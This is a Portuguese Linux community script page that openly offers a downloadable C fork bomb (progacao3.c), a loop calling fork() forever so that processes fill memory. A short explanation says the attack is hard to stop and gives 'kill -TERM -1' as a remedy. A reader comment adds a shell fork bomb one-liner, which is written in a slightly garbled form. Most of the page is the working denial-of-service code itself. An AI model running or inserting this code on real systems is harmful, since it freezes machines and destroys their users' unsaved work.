Também enche a memória, porém desta vez com processos

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 4.743 ]

Homepage: http://prginfo.blogspot.com

Download progacao3.c




O exemplo 3 também enche a memória, porém desta vez com processos.
Esse ataque é difícil de parar, pois não é possível matar os processos individualmente pois eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o ps + kill não funcionaria.

Há uma opção, usar 'kill -TERM -1'. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso.

  



Esconder código-fonte

/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi esplicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

Scripts recomendados

Método da bissecção

Locadora

Rand_bg

Matriz Bidimensional

Agenda em C


  

Comentários
[1] Comentário enviado por Nighto em 16/07/2008 - 14:52h

isso me lembra aquele "smile da morte":

:(){:|:};:

[]


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts